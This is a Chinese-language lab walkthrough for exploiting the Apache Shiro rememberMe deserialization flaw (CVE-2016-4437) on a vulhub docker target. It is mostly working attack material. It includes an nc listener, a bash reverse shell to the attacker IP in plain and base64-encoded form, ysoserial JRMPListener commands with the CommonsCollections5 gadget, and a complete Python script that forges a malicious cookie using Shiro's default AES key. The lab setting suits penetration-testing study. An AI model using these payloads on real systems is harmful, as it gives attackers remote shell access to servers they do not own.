靶機IP(Ubuntu):192.168.43.185
攻擊IP(kali):192.168.43.37
一、docker環境搭建
打開vulhub靶機,目錄定位到vulhub-master/shiro/CVE-2016-4437目錄下
並使用docker-compose build與docker-compose up -d建立並啟動docker
查看靶機內網地址:192.168.43.185

瀏覽器訪問http://192.168.43.185:8080
二、使用Shiro_exploit進行漏洞利用
1.使用Shiro_exploit檢測是否存在shiro漏洞
項目地址:https://github.com/insightglacier/Shiro_exploit
使用命令
python shiro_exploit.py -u http://192.168.43.185:8080
vulnerable:True表示存在shiro漏洞
2.使用Shiro_exploit進行反彈shell利用
kali監聽2222端口
nc -lvp 2222

3.對反彈shell命令進行加密利用
命令加密可用網站http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.43.37/2222 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i} //加密后
結合poc的-p參數進行漏洞利用
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash加密命令"
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"

2222端口監聽到反彈過來的shell

三、利用ysoserial復現漏洞
1.ysoserial工具
ysoserial 集合了各種java反序列化payload的反序列化工具
下載:https://github.com/frohoff/ysoserial
因為ysoserial是一個Java項目,它需要本地配置mvn環境(全稱Maven,是基於項目對象模型的軟件項目管理工具)依據Java項目的pom.xml文件自動化配置獲取jar包,所以本地需要Java與mvn環境


使用mvn clean package -DskipTests命令打包項目



生成完工具之后放到kali攻擊機上使用
驗證目標是否搭建shiro,在前端登錄界面抓登錄包,用burp查看響應包是否存在rememberMe=deleteMe字段


2.使用ysoserial進行反彈shell利用
kali監聽2222端口

同時另開終端執行反彈shell的Java監聽命令(ysoserial.exploit.JRMPListener監聽6666端口):
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}'

(注:bash加密命令前的CommonsCollections后面數字要寫5,網上的payload都寫CommonsCollections4,可能是Java環境問題,CommonsCollections4一直反彈不到shell,只在Java端口監聽到會話,聯想到前面使用Shiro_exploit的時候,會使用CommonsCollections1,2,3,4,5等各種方式進行測試,所以嘗試更改了CommonsCollections就有效果了)

將以下生成cookie的poc代碼命名為shiro.py放到target目錄下
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
以python2執行命令:
python shiro.py 攻擊者IP:攻擊者監聽的java端口

在前端頁面抓一個勾選remember me的數據包

將生成的cookie復制到數據包中

重放之后在Java監聽端可看到會話

同時在2222端口可監聽到反彈回來的shell

四、使用一鍵利用工具復現
一鍵利用工具
項目地址:
https://github.com/feihong-cs/ShiroExploit/releases/tag/v2.3

選擇好對應的 shiro550,填入靶場地址,下一步

選擇dnslog.cn進行檢測(ceye.io會慢)

在下方對話框出現Find Valid Gadget的時候,就可以執行反彈shell了






